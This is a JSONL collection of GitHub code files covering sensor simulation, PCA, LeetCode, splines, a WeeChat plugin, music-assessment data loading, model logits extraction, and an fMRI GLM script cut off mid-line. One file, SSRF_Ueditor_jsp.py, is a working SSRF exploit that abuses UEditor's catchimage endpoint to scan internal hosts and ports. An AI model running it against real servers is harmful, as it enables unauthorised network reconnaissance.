0])),\n Quaternion(sensor_orientations[t, :]).rotate(np.array([0, 1, 0])),\n Quaternion(sensor_orientations[t, :]).rotate(np.array([0, 0, 1]))])]\n\n for i in range(start_sensor, end_sensor):\n rotation_matrix = calibration_matrices[i - 1][:3, :3]\n translation_vector = calibration_matrices[i - 1][:3, 3]\n q2_quat = Quaternion(sensor_orientations[t, :])\n r = q2_quat.rotate(translation_vector)\n pos = np.dot(rotation_matrix, (sensor_positions[t, :] + r).T).T\n sensor_positions_t.append(pos)\n sensor_directions_t.append(np.column_stack([Quaternion(sensor_orientations[t, :]).rotate(np.array([1, 0, 0])),\n Quaternion(sensor_orientations[t, :]).rotate(np.array([0, 1, 0])),\n Quaternion(sensor_orientations[t, :]).rotate(np.array([0, 0, 1]))]))\n\n if sensor_fusion_enabled:\n fused_position, fused_orientation = sensor_fusion(sensor_positions_t, [sensor_orientations[t, :] for _ in range(len(sensor_positions_t))])\n sensor_positions_t.append(fused_position)\n sensor_directions_t.append(np.column_stack([fused_orientation.rotate(np.array([1, 0, 0])),\n fused_orientation.rotate(np.array([0, 1, 0])),\n fused_orientation.rotate(np.array([0, 0, 1]))]))\n\n update_plot(t, sensor_positions_t, sensor_directions_t, ax, sensor_fusion_enabled)\n if plt.waitforbuttonpress(0.001):\n break\n\n plt.show()\n\n\ndef run_simulation():\n sensor_file = r\"C:\\Users\\avka9\\Desktop\\study\\projects\\final_project\\Sensors\\left_sensor.csv\"\n calibration_file = r\"C:\\Users\\avka9\\Desktop\\study\\projects\\final_project\\Sensors\\matrices.json\" \n calibration_matrices = load_calibration_matrices_from_json(calibration_file)\n\n if simulation_type_var.get() == \"All Sensors\":\n perform_simulation(sensor_file, calibration_matrices)\n elif simulation_type_var.get() == \"2 Sensors\":\n selected_sensors = [int(sensor1_entry.get()), int(sensor2_entry.get())]\n perform_simulation(sensor_file, calibration_matrices, selected_sensors)\n elif simulation_type_var.get() == \"Sensor Fusion\":\n perform_simulation(sensor_file, calibration_matrices, sensor_fusion_enabled=True)\n\nroot = tk.Tk()\nroot.title(\"Sensor Simulation\")\n\nsimulation_type_var = tk.StringVar(value=\"All Sensors\")\n\nsimulation_type_label = ttk.Label(root, text=\"Simulation Type:\")\nsimulation_type_label.grid(column=0, row=0, sticky=\"W\")\nsimulation_type_combobox = ttk.Combobox(root, textvariable=simulation_type_var, values=[\"All Sensors\", \"2 Sensors\", \"Sensor Fusion\"])\nsimulation_type_combobox.grid(column=1, row=0, sticky=\"W\")\n\n\nsensor1_label = ttk.Label(root, text=\"Sensor 1:\")\nsensor1_label.grid(column=0, row=1, sticky=\"W\")\nsensor1_entry = ttk.Entry(root)\nsensor1_entry.grid(column=1, row=1, sticky=\"W\")\n\nsensor2_label = ttk.Label(root, text=\"Sensor 2:\")\nsensor2_label.grid(column=0, row=2, sticky=\"W\")\nsensor2_entry = ttk.Entry(root)\nsensor2_entry.grid(column=1, row=2, sticky=\"W\")\n\nrun_button = ttk.Button(root, text=\"Run Simulation\", command=run_simulation)\nrun_button.grid(column=1, row=3, sticky=\"W\")\n\nroot.mainloop()","repo_name":"AviLinko/final_project","sub_path":"Sensors/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33533281165","text":"import numpy as np\n\n\ndef PCA(X,num_dim=None):\n X_pca = X # placeholder 3000x784\n \n # finding the projection matrix that maximize the variance (Hint: for eigen computation, use numpy.eigh instead of numpy.eig)\n X_mean = np.mean(X,axis=0) #1x784\n X_shifted = X - X_mean #3000x784\n cov = np.cov(X_shifted.T) #covariance matrix for the data #784x784\n \n \n eigenobject = (np.linalg.eigh(cov)) #an object that contains the eigenvectors and eigenvalues\n eigenvectors = np.flip(eigenobject[1].T,axis=0) #784 x 784\n eigenvalues = np.flip(eigenobject[0],axis=0) #784 x 1 \n \n \n sum_eig = np.sum(eigenvalues) #sum of all eigenvalues\n \n # select the reduced dimensions that keep >90% of the variance\n if num_dim is None:\n sum_sofar = 0 #sum of k eigenvalues k= 0.9:\n break\n \n sum_sofar+=eig\n frac = sum_sofar/sum_eig \n \n X_pca = eigenvectors[0:i,:]@X_shifted.T\n num_dim=i\n \n else:\n X_pca = eigenvectors[0:num_dim,:]@X_shifted.T\n \n \n # project the high-dimensional data to low-dimensional one'''\n \n\n return X_pca.T, num_dim\n","repo_name":"saisharan98/machine-learning-practice","sub_path":"Kmeans + PCA/MyPCA.py","file_name":"MyPCA.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33590954936","text":"# class Solution:\n# def isValid(self, s: str) -> bool:\n# if len(s) % 2 != 0:\n# return False\n\n# stack = []\n# open_parentheses = [\"(\", \"[\", \"{\"]\n# close_parentheses = [\")\", \"]\", \"}\"]\n\n# if s[0] not in open_parentheses:\n# return False\n\n# for bracket in s:\n# if bracket in open_parentheses:\n# stack.append(bracket)\n# elif bracket in close_parentheses and stack:\n# last_bracket = stack.pop()\n# if bracket == \")\":\n# if last_bracket != \"(\":\n# return False\n# elif bracket == \"]\":\n# if last_bracket != \"[\":\n# return False\n# else:\n# if last_bracket != \"{\":\n# return False\n# else:\n# return False\n\n# return not stack\n\n\n# class Solution:\n# def isValid(self, s: str) -> bool:\n# stack = []\n# stack.append(s[0])\n\n# for parentheses in s[1:]:\n# if not stack and parentheses in [')', ']', '}']:\n# return False\n# elif not stack:\n# stack.append(parentheses)\n# continue\n\n# lastParentheses = stack[-1]\n# if lastParentheses == '(':\n# if parentheses == ')':\n# stack.pop()\n# else:\n# stack.append(parentheses)\n# elif lastParentheses == '[':\n# if parentheses == ']':\n# stack.pop()\n# else:\n# stack.append(parentheses)\n# elif lastParentheses == '{':\n# if parentheses == '}':\n# stack.pop()\n# else:\n# stack.append(parentheses)\n\n# return True if not stack else False\n\n\nclass Solution:\n def isValid(self, s: str) -> bool:\n stack = []\n parenthesesPair = { ')' : '(', ']' : '[', '}' : '{' }\n\n for parentheses in s:\n if parentheses in parenthesesPair:\n if stack and stack[-1] == parenthesesPair[parentheses]:\n stack.pop()\n else:\n return False\n else:\n stack.append(parentheses)\n\n return True if not stack else False\n\n\n\ns = \"()}\"\ntest = Solution().isValid(s)\nprint(test)\n","repo_name":"benattali/leet_code","sub_path":"valid_parentheses.py","file_name":"valid_parentheses.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15642766434","text":"__Date__=\"20180524\"\n\n\n'''\nUsage:\n python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133\n\tpython SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24\n\t\nPython version: 3.6.2\nrequirements:IPy==0.83\n\n'''\nimport sys\nimport json\nimport requests\nfrom IPy import IP\n\n\ndef check(url,ip,port):\n\turl = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' % (url,ip,port)\n\tres = requests.get(url)\n\tresult = res.text\n\t# print(url,result)\n\tresult = result.replace(\"list\",\"\\\"list\\\"\")\n\tres_json = json.loads(result)\n\tstate = res_json['list'][0]['state']\n\tif state == '远程连接出错' or state == 'SUCCESS':\n\t\tprint(ip,port,'is Open')\n\ndef main(url,ip):\n\n\tips = IP(ip)\n\tports = [80,8080]\n\tfor i in ips:\n\t\tfor port in ports:\n\t\t\tcheck(url,i,port)\nif __name__ == '__main__':\n\turl = sys.argv[1]\n\tip = sys.argv[2]\n\tmain(url,ip)","repo_name":"fupinglee/MyPython","sub_path":"SSRF/SSRF_Ueditor_jsp.py","file_name":"SSRF_Ueditor_jsp.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"81"} +{"seq_id":"16532123571","text":"from unittest import TestCase\n\nimport numpy as np\n\nfrom NLA.matrices import tdma_diagonals, tdma_lu, tdma_solve\nfrom NLA.splines import spline_interpolation, find_subintervals\n\n\nclass TestSpline(TestCase):\n\n def test_spline_int(self):\n\n a = 0\n b = 4\n y = [0, 1/6, 2/3, 1/6, 0]\n mu0 = 0\n munp1 = 0\n\n expected_x = np.array([0, 1, 2, 3, 4])\n expected_c = np.array([\n [0, 0, 0, 1/6],\n [1/6, 1/2, 1/2, -1/2],\n [2/3, 0, -1, 1/2],\n [1/6, -1/2, 1/2, -1/6]\n ])\n\n computed_x, computed_c = spline_interpolation(a, b, y, mu0, munp1)\n np.testing.assert_almost_equal(expected_x, computed_x)\n np.testing.assert_almost_equal(expected_c, computed_c)\n\n def test_find_subintervals(self):\n\n x = np.linspace(0, 4, 5)\n t = np.linspace(0, 4, 10)\n\n expected_intervals = [0, 2, 4, 6, 9]\n computed_intervals = find_subintervals(t, x)\n\n np.testing.assert_almost_equal(expected_intervals, computed_intervals)","repo_name":"qTipTip/NumericalLinearAlgebra","sub_path":"NLA/tests/test_splines.py","file_name":"test_splines.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"69976000584","text":"import weechat\nimport re\n##Regiesters\nweechat.register(\"ipcenter_python\", \"JerryGarcia\", \"1.0\", \"GPL3\", \"IPCenter Script\", \"\", \"\")\n\n##Loading message\nweechat.prnt(\"\", \"%s[IPcenter]%s Script Loaded (by Jerry Garcia)\" % (weechat.color(\"white,red\"),weechat.color(\"reset\")))\ndef modifier_cb(data, modifier, modifier_data, string):\n finals = string\n match = re.search('((\\s|\\:)[0-9]{8}(\\s|$))',string)\n if match:\n ipcenter = \"https://ipcenter.ipsoft.com/IPim/Ticket/Display.html?id=\"+match.group().strip()\n weechat.prnt(weechat.current_buffer(), \"%s[IPCenter] %s%s\" % (weechat.color(\"red\") ,weechat.color(\"reset\") , ipcenter))\n \n return \"%s%s\" % (string, \"\")\n\nweechat.hook_modifier(\"irc_in_privmsg\", \"modifier_cb\", \"\")\n","repo_name":"bechampion/weechat-stuff","sub_path":"ipcenter.py","file_name":"ipcenter.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"8350023024","text":"import sys\nimport os\nimport json\nimport dill\nfrom collections import defaultdict\nimport numpy as np\nimport pandas as pd\nfrom pandas import ExcelFile\n\n# define bad students ids \n# for which recording is bad or segment annotation doesn't exist\nbad_ids = {}\nbad_ids['middle'] = [29429, 32951, 42996, 43261, 44627, 56948, 39299, 39421, 41333, 42462, 43811, 44319, 61218, 29266, 33163]\nbad_ids['symphonic'] = [33026, 33476, 35301, 41602, 52950, 53083, 46038, 33368, 42341, 51598, 56778, 56925, 30430, 55642, 60935]\n\nclass DataUtils(object):\n \"\"\"\n Class containing helper functions to read the music performance data from the FBA folder\n \"\"\"\n\n def __init__(self, path_to_annotations, path_to_audio, band, instrument):\n \"\"\"\n Initialized the data utils class\n Arg:\n path_to_annotations:\tstring, full path to the folder containing the FBA annotations\n path_to_audio: string, full path to the folder containing the FBA audio\n band:\t\t\t\t\tstring, which band type\n instrument:\t\t\t\tstring, which instrument\n \"\"\"\n self.path_to_annotations = path_to_annotations\n self.path_to_audio = path_to_audio\n self.band = band\n self.instrument = instrument\n self.bad_ids = bad_ids[band]\n\n def get_excel_file_path(self, year):\n \"\"\"\n Returns the excel file name containing the student performance details\n Arg:\n year:\tstring, which year\n \"\"\"\n if self.band == 'middle':\n file_name = 'Middle School'\n elif self.band == 'concert':\n file_name = 'Concert Band Scores'\n elif self.band == 'symphonic':\n file_name = 'Symphonic Band Scores'\n else:\n raise ValueError(\"Invalid value for 'band'\")\n xls_path = 'FBA' + year + '/'\n xls_file_path = self.path_to_annotations + xls_path + file_name + '.xlsx'\n return xls_file_path\n\n def get_audio_folder_path(self, year):\n \"\"\"\n Returns the full path to the root folder containing all the FBA audio files\n Arg:\n year: string, which year\n \"\"\"\n if self.band == 'middle':\n folder_name_band = 'middleschool'\n elif self.band == 'concert':\n folder_name_band = 'concertband'\n elif self.band == 'symphonic':\n folder_name_band = 'symphonicband'\n else:\n raise ValueError(\"Invalid value for 'band'\")\n \n if year == '2013':\n folder_name_year = '2013-2014'\n elif year == '2014':\n folder_name_year = '2014-2015'\n elif year == '2015':\n folder_name_year = '2015-2016'\n else:\n raise ValueError(\"Invalid value for 'year'\")\n \n audio_folder = self.path_to_audio + folder_name_year + '/' + folder_name_band\n if year == '2013':\n audio_folder += 'scores/'\n else:\n audio_folder += '/'\n return audio_folder\n\n def get_anno_folder_path(self, year):\n \"\"\"\n Returns the full path to the root folder containing all the FBA segment files and\n\t\tassessments\n Arg:\n year:\tstring, which year\n \"\"\"\n if self.band == 'middle':\n folder_name = 'middleschool'\n elif self.band == 'concert':\n folder_name = 'concertband'\n elif self.band == 'symphonic':\n folder_name = 'symphonicband'\n else:\n raise ValueError(\"Invalid value for 'band'\")\n annotations_folder = self.path_to_annotations + 'FBA' + year + '/' + folder_name\n if year == '2013':\n annotations_folder += 'scores/'\n else:\n annotations_folder += '/'\n return annotations_folder\n \n def scan_student_ids(self, year):\n \"\"\"\n Returns the student ids for the provide inputs as a list\n Args:\n year:\tstring, which year\n \"\"\"\n # get the excel file path\n file_path = self.get_excel_file_path(year)\n\n # read the excel file\n xldata = pd.read_excel(file_path)\n instrument_data = xldata[xldata.columns[0]]\n # find the index where the student ids start for the input instrument\n start_idx = 0\n while instrument_data[start_idx] != self.instrument:\n start_idx += 1\n # iterate and the store the student ids\n student_ids = []\n while isinstance(instrument_data[start_idx + 1], int):\n student_ids.append(instrument_data[start_idx + 1])\n start_idx += 1\n # remove bad student ids\n for i in range(len(self.bad_ids)):\n if self.bad_ids[i] in student_ids: \n student_ids.remove(self.bad_ids[i])\n return student_ids\n\n def get_segment_info(self, year, segment, student_ids=[]):\n \"\"\"\n Returns the segment info for the provide inputs as a list of tuples (start_time, end_time)\n Args:\n year:\t\t\tstring, which year\n segment:\t\tstring, which segment\n student_ids:\tlist, containing the student ids., if empty we compute it within this\n\t\t\t\t\t\t\t\t function\n \"\"\"\n annotations_folder = self.get_anno_folder_path(year)\n segment_data = []\n if student_ids == []:\n student_ids = self.scan_student_ids(year)\n for student_id in student_ids:\n segment_file_path = annotations_folder + \\\n str(student_id) + '/' + str(student_id) + '_segment.txt'\n file_info = [line.rstrip('\\n')\n for line in open(segment_file_path, 'r')]\n segment_info = file_info[segment]\n if sys.version_info[0] < 3:\n to_floats = map(float, segment_info.split('\\t'))\n else:\n to_floats = list(map(float, segment_info.split('\\t')))\n # convert to tuple and append\n segment_data.append((to_floats[0], to_floats[0] + to_floats[1]))\n return segment_data\n\n def get_pitch_contours_segment(self, year, segment_info, student_ids=[]):\n \"\"\"\n Returns the pitch contours for the provide inputs as a list of np arrays\n assumes pyin pitch contours have already been computed and stored as text files\n Args:\n year:\t\t\tstring, which year\n segment:\t\tstring, which segment\n student_ids:\tlist, containing the student ids., if empty we compute it within this\n\t\t\t\t\t\t\t\t function\n \"\"\"\n data_folder = self.get_anno_folder_path(year)\n if student_ids == []:\n student_ids = self.scan_student_ids(year)\n pitch_contour_data = []\n idx = 0\n for student_id in student_ids:\n pyin_file_path = data_folder + \\\n str(student_id) + '/' + str(student_id) + \\\n '_pyin_pitchtrack.txt'\n lines = [line.rstrip('\\n') for line in open(pyin_file_path, 'r')]\n pitch_contour = []\n start_time, end_time = segment_info[idx]\n idx = idx + 1\n for x in lines:\n if sys.version_info[0] < 3:\n to_floats = map(float, x.split(','))\n else:\n to_floats = list(map(float, x.split(',')))\n timestamp = to_floats[0]\n\n if timestamp < start_time:\n continue\n else:\n if timestamp > end_time:\n break\n else:\n pitch = to_floats[1]\n pitch_contour.append(to_floats[1])\n pitch_contour = np.asarray(pitch_contour)\n pitch_contour_data.append(pitch_contour)\n\n return pitch_contour_data\n\n def get_audio_file_path(self, year, student_ids=[]):\n \"\"\"\n Returns the audio paths for the provide inputs as a list of strings\n Args:\n year: string, which year\n student_ids: list, containing the student ids., if empty we compute it within this\n function\n \"\"\"\n data_folder = self.get_audio_folder_path(year)\n if student_ids == []:\n student_ids = self.scan_student_ids(year)\n audio_file_paths = []\n for student_id in student_ids:\n audio_file_path = data_folder + \\\n str(student_id) + '/' + str(student_id) + '.mp3'\n audio_file_paths.append(audio_file_path)\n\n return audio_file_paths\n\n def get_perf_rating_segment(self, year, segment, student_ids=[]):\n \"\"\"\n Returns the performane ratings given by human judges for the input segment as a list of\n\t\ttuples\n Args:\n year:\t\t\tstring, which year\n segment:\t\tstring, which segment\n student_ids:\tlist, containing the student ids., if empty we compute it within\n\t\t\t\t\t\t\t\t this function\n \"\"\"\n annotations_folder = self.get_anno_folder_path(year)\n perf_ratings = []\n if student_ids == []:\n student_ids = self.scan_student_ids(year)\n\n for student_id in student_ids:\n ratings_file_path = annotations_folder + \\\n str(student_id) + '/' + str(student_id) + '_assessments.txt'\n file_info = [line.rstrip('\\n')\n for line in open(ratings_file_path, 'r')]\n segment_ratings = file_info[segment]\n if sys.version_info[0] < 3:\n to_floats = map(float, segment_ratings.split('\\t'))\n else:\n to_floats = list(map(float, segment_ratings.split('\\t')))\n # convert to tuple and append\n perf_ratings.append(\n (to_floats[2], to_floats[3], to_floats[4], to_floats[5]))\n\n return perf_ratings\n \n def create_data(self, year, segment, audio=False):\n \"\"\"\n Creates the data representation for a particular year\n Args:\n year: string, which year\n segment:\t\tstring, which segment\n \"\"\"\n if audio:\n import librosa\n perf_assessment_data = []\n student_ids = self.scan_student_ids(year)\n segment_info = self.get_segment_info(year, segment, student_ids)\n pitch_contour_data = self.get_pitch_contours_segment(year, segment_info, student_ids)\n audio_file_paths = self.get_audio_file_path(year, student_ids)\n ground_truth = self.get_perf_rating_segment(year, segment, student_ids)\n idx = 0\n for student_idx in range(len(student_ids)):\n assessment_data = {}\n assessment_data['year'] = year\n assessment_data['band'] = self.band\n assessment_data['instrumemt'] = self.instrument\n assessment_data['student_id'] = student_ids[student_idx]\n assessment_data['segment'] = segment\n if audio == False:\n assessment_data['pitch_contour'] = pitch_contour_data[student_idx]\n else:\n y,sr = librosa.load(audio_file_paths[student_idx], offset=segment_info[idx][0], duration=segment_info[idx][1] - segment_info[idx][0])\n assessment_data['audio'] = (y,sr)\n assessment_data['ratings'] = ground_truth[student_idx]\n assessment_data['class_ratings'] = [round(x * 10) for x in ground_truth[student_idx]]\n perf_assessment_data.append(assessment_data)\n idx += 1\n return perf_assessment_data","repo_name":"pseshadri9/contrastive-music-performance-assessment","sub_path":"dataLoaders/DataUtils.py","file_name":"DataUtils.py","file_ext":"py","file_size_in_byte":11569,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"81"} +{"seq_id":"7317146023","text":"# use this script to extract the softmax predictions for the base, max and min query images\n# call this with:\n#\n# python 10_get_query_logits.py \\\n# --data-dir=$DATAPATH/stimuli/stimuli_pure_conditions \\\n# -o cfv_3_query_logits.pkl --n-batches=10\n#\n# to generate a pickle file containing the predictions\n\n# %%\nimport glob\nfrom typing import Callable, Optional, Any, Tuple, List\n\nimport torchvision.datasets\nfrom torchvision.datasets import VisionDataset\n\nprint(\"starting 10_get_query_logits\")\n\n# %% md\n\n# Investigate Occlusion Stimuli\n\n# %% md\n\n## Imports\n\n# %%\n\n# general imports\nimport numpy as np\nfrom tqdm import tqdm\nimport pickle\nimport random\nimport tensorflow as tf\nimport torch\nimport os\nimport argparse\n\n# %%\n\n# lucid imports\nimport lucid.modelzoo.vision_models as models\nfrom render import import_model\n\n# %%\n\n# custom imports\nimport occlusion_utils as ut\n\n# %%\n# define loader\nclass ListbasedDatasetFolder(VisionDataset):\n def __init__(\n self,\n root: str,\n file_names: List[str],\n loader: Callable[[str], Any] = torchvision.datasets.folder.pil_loader,\n extensions: Optional[Tuple[str, ...]] = None,\n transform: Optional[Callable] = None,\n path_transform: Optional[Callable] = None,\n ) -> None:\n super(ListbasedDatasetFolder, self).__init__(\n root, transform=transform, target_transform=path_transform\n )\n self.loader = loader\n self.extensions = extensions\n\n self.file_names = file_names\n\n def __getitem__(self, index: int) -> Tuple[Any, Any]:\n path = self.file_names[index]\n sample = self.loader(path)\n if self.transform is not None:\n sample = self.transform(sample)\n\n return sample, path\n\n def __len__(self) -> int:\n return len(self.file_names)\n\n\n# %% md\n\n## Load model\n\n# %%\n\n# import InceptionV1 from the Lucid modelzoo\nmodel = models.InceptionV1()\nmodel.load_graphdef()\n\n# %% md\n\n## Parameters\n\n\n# %%\n\n# setting seeds\ntf.set_random_seed(1234)\nrandom.seed(0)\nnp.random.seed(0)\n\n# %%\n\nparser = argparse.ArgumentParser()\n# # $DATAPATH/stimuli/stimuli_pure_conditions\nparser.add_argument(\n \"-d\", \"--data-dir\", required=True, help=\"Path to load query images from\"\n)\nparser.add_argument(\"-o\", \"--output\", required=True, help=\"Path to save data to\")\nparser.add_argument(\"-nt\", \"--n-batches\", default=10, type=int)\nargs = parser.parse_args()\nprint(args)\n\n# %%\n\ndata_dir = args.data_dir\n# %% md\n\n## Load experiment specification\n\n# %%\n\nquery_filenames = glob.glob(\n os.path.join(\n data_dir,\n \"channel\",\n \"sampled_trials\",\n \"layer_**\",\n \"kernel_size_**\",\n \"channel_0\",\n \"natural_images\",\n \"batch_**\",\n \"40_percent_side_length\",\n \"*.png\",\n )\n)\ntask_filter = lambda fn: int(fn.split(\"batch_\")[1].split(\"/\")[0]) < args.n_batches\nquery_filenames = [fn for fn in query_filenames if task_filter(fn)]\n\n# sort to make sure we always have the order: base.png, max.png, min.png for each trial and task\nquery_filenames = list(sorted(query_filenames))\n# %%\n\ndataset = ListbasedDatasetFolder(\n data_dir, query_filenames, transform=torchvision.transforms.ToTensor()\n)\ndata_loader = torch.utils.data.DataLoader(\n dataset, batch_size=1, shuffle=False, num_workers=4, pin_memory=True\n)\n\n\n# %%\nactivations = []\npaths = []\nwith tf.Graph().as_default() as graph, tf.Session() as sess:\n image = tf.placeholder(tf.float32, shape=(1, 224, 224, 3))\n print(\"image.shape\", image.shape)\n model_instance = import_model(model, image)\n\n for images, paths_batch in tqdm(data_loader):\n images = images.numpy().transpose((0, 2, 3, 1))\n activations_batch = sess.run(model_instance(\"softmax2\"), {image: images})\n activations.append(activations_batch)\n paths.append(paths_batch)\n\nactivations = np.concatenate(activations).tolist()\npaths = np.concatenate(paths).tolist()\ndata = list(zip(activations, paths))\n\nwith open(args.output, \"wb\") as f:\n pickle.dump(data, f)\n# %%\n","repo_name":"brendel-group/causal-understanding-via-visualizations","sub_path":"tools/data-generation/causal-occlusion/10_get_query_logits.py","file_name":"10_get_query_logits.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"17619878139","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nThis script was adapted from\nhttps://github.com/poldrack/fmri-analysis-vm/blob/master/analysis/postFMRIPREPmodelling/First%20and%20Second%20Level%20Modeling%20(FSL).ipynb\n\nThis script also handles the initial unsteady volumns of functional runs\n(note: run unsteady_volumns.py to remove those volumns from preprocessed\nfiles, before running this script).\nChange line #25 - 45 as necessary, and double check line #90 - 94 to make\nsure the confound regressors matches your need.\n\"\"\"\n\nimport nipype.algorithms.modelgen as model # model generation\nfrom nipype.interfaces import fsl\nfrom nipype.interfaces.base import Bunch\nfrom nipype.caching import Memory\ntry:\n from bids.layout import BIDSLayout\nexcept ModuleNotFoundError:\n from bids.grabbids import BIDSLayout\nimport pandas as pd\nimport os\n\n\n# Paths\nBIDS_DIR = '/u/project/cparkins/data/hierarchy/'\nPREPROC_DIR = '/u/project/cparkins/data/hierarchy/fmriprep/output/fmriprep/'\nMEM_DIR = '/u/project/cparkins/data/hierarchy/derivatives/lv1/work/'\n# Subjects & runs\nSUBJECTS = sorted([f[4:7] for f in os.listdir(PREPROC_DIR)\n if f.startswith('sub') and f.endswith('.html')]) # find all html file names\nEXCLUDING = {} # e.g. {4: 5} excludes the 6th run from the 5th subject (0-indexed) in the SUBJECTS list\n# Experiment info\ntask = 'face'\nnum_runs = 6\nconditions = ['u', 'd']\nonsets = lambda event, remove: [list(event[event.direction == 'u'].onset - remove),\n list(event[event.direction == 'd'].onset - remove)]\ndurations = lambda event, remove: [list(event[event.direction == 'u'].duration - remove),\n list(event[event.direction == 'd'].duration - remove)]\n# Conditions\ntstats = [[cond, 'T', [cond], [1]] for cond in conditions]\nfstat = ['all', 'F', tstats]\ncontrasts = tstats + [fstat]\n\n\ndef get_events(func_files):\n events = []\n for s in range(len(SUBJECTS)):\n events.append([])\n for r in range(num_runs):\n subj = func_files[s][r].subject\n if num_runs == 1:\n filename = 'sub-%s/func/sub-%s_task-%s_events.tsv' % (subj, subj, task)\n else:\n run = func_files[s][r].run\n filename = 'sub-%s/func/sub-%s_task-%s_run-%s_events.tsv' % (subj, subj, task, str(run).zfill(2))\n events[s].append(pd.read_csv(os.path.join(BIDS_DIR, filename), sep=\"\\t\"))\n return events\n\n\ndef get_confounds(func_files):\n confounds = []\n for s in range(len(SUBJECTS)):\n confounds.append([])\n for r in range(num_runs):\n func_file = func_files[s][r]\n if num_runs == 1:\n tsvname = 'sub-%s_task-%s_bold_confounds.tsv' % (func_file.subject, task)\n else:\n tsvname = 'sub-%s_task-%s_run-%s_bold_confounds.tsv' % (func_file.subject, task, str(func_file.run).zfill(2))\n confounds[s].append(pd.read_csv(os.path.join(PREPROC_DIR,\n 'sub-%s' % func_file.subject,\n 'func',\n tsvname),\n sep=\"\\t\", na_values='n/a'))\n return confounds\n\n\ndef get_info(events, confounds):\n info = []\n for s in range(len(SUBJECTS)):\n info.append([])\n for r in range(num_runs):\n df = confounds[s][r]\n # find how many rows to remove\n cols = [c for c in df.columns if c.startswith('NonSteadyStateOutlier')]\n unsteady = df[cols].sum(axis=1)\n remove_until = len(unsteady[unsteady == 1].index)\n # find names of confounds\n regressor_names = [c for c in df.columns if (c.startswith('aCompCor')\n or c.startswith('Cosine') or c.startswith('AROMAAggrComp'))]\n regressor_names += ['CSF', 'WhiteMatter', 'GlobalSignal', 'X', 'Y', 'Z',\n 'RotX', 'RotY', 'RotZ']\n regressors = [list(confounds[s][r][conf][remove_until:]) for conf in regressor_names]\n # print(SUBJECTS[s], r, remove_until, regressor_names)\n \n run_onsets = onsets(event, remove=remove_until)\n run_durations = durations(event, remove=0)\n\n # if onset < 0 due to NonSteadyState removal, change it to 0 and reduce the duration too\n for i in range(len(run_onsets)):\n for j in range(len(run_onsets[i])):\n if run_onsets[i][j] < 0:\n run_durations[i][j] += run_onsets[i][j]\n run_durations[i][j] = max(0, run_durations[i][j])\n run_onsets[i][j] = 0\n\n event = events[s][r]\n info[s].append([Bunch(conditions=conditions,\n onsets=run_onsets,\n durations=run_durations,\n regressors=regressors,\n regressor_names=regressor_names)])\n return info\n\n\ndef specify_model(layout, func_files, info):\n specify_model_results = []\n for s in range(len(SUBJECTS)):\n specify_model_results.append([])\n for r in range(num_runs):\n if s in EXCLUDING and EXCLUDING[s] == r:\n continue\n func_file = func_files[s][r]\n if num_runs == 1:\n filename = 'sub-%s_task-%s_bold_space-T1w_preproc.nii.gz' % (func_file.subject, task)\n else:\n filename = 'sub-%s_task-%s_run-%s_bold_space-T1w_preproc.nii.gz' % (func_file.subject, task, str(func_file.run).zfill(2))\n spec = model.SpecifyModel()\n spec.inputs.input_units = 'secs'\n spec.inputs.functional_runs = [os.path.join(\n PREPROC_DIR,\n 'sub-%s' % func_file.subject,\n 'func',\n filename\n )]\n spec.inputs.time_repetition = layout.get_metadata(func_files[s][r].path)['RepetitionTime']\n spec.inputs.high_pass_filter_cutoff = 128.\n spec.inputs.subject_info = info[s][r]\n specify_model_results[s].append(spec.run())\n return specify_model_results\n\n\ndef lv1_design(mem, layout, func_files, specify_model_results):\n level1design = mem.cache(fsl.model.Level1Design)\n level1design_results = []\n for s in range(len(SUBJECTS)):\n level1design_results.append([])\n for r in range(num_runs):\n if s in EXCLUDING and EXCLUDING[s] == r:\n continue\n tr = layout.get_metadata(func_files[s][r].path)['RepetitionTime']\n level1design_results[s].append(level1design(\n interscan_interval=tr,\n bases={'dgamma': {'derivs': True}},\n session_info=specify_model_results[s][r].outputs.session_info,\n model_serial_correlations=True,\n contrasts=contrasts\n ))\n return level1design_results\n\n\ndef feat_model(mem, level1design_results):\n modelgen = mem.cache(fsl.model.FEATModel)\n modelgen_results = []\n for s in range(len(SUBJECTS)):\n modelgen_results.append([])\n for r in range(num_runs):\n if s in EXCLUDING and EXCLUDING[s] == r:\n continue\n modelgen_results[s].append(\n modelgen(fsf_file=level1design_results[s][r].outputs.fsf_files,\n ev_files=level1design_results[s][r].outputs.ev_files))\n return modelgen_results\n\n\ndef masking(mem, func_files):\n mask = mem.cache(fsl.maths.ApplyMask)\n mask_results = []\n for s in range(len(SUBJECTS)):\n mask_results.append([])\n for r in range(num_runs):\n if s in EXCLUDING and EXCLUDING[s] == r:\n continue\n subj = func_files[s][r].subject\n if num_runs == 1:\n preproc_name = 'sub-%s_task-%s_bold_space-T1w_preproc.nii.gz' % (subj, task)\n mask_name = 'sub-%s_task-%s_bold_space-T1w_brainmask.nii.gz' % (subj, task)\n else:\n run = func_files[s][r].run\n preproc_name = 'sub-%s_task-%s_run-%s_bold_space-T1w_preproc.nii.gz' % (subj, task, str(run).zfill(2))\n mask_name = 'sub-%s_task-%s_run-%s_bold_space-T1w_brainmask.nii.gz' % (subj, task, str(run).zfill(2))\n mask_results[s].append(\n 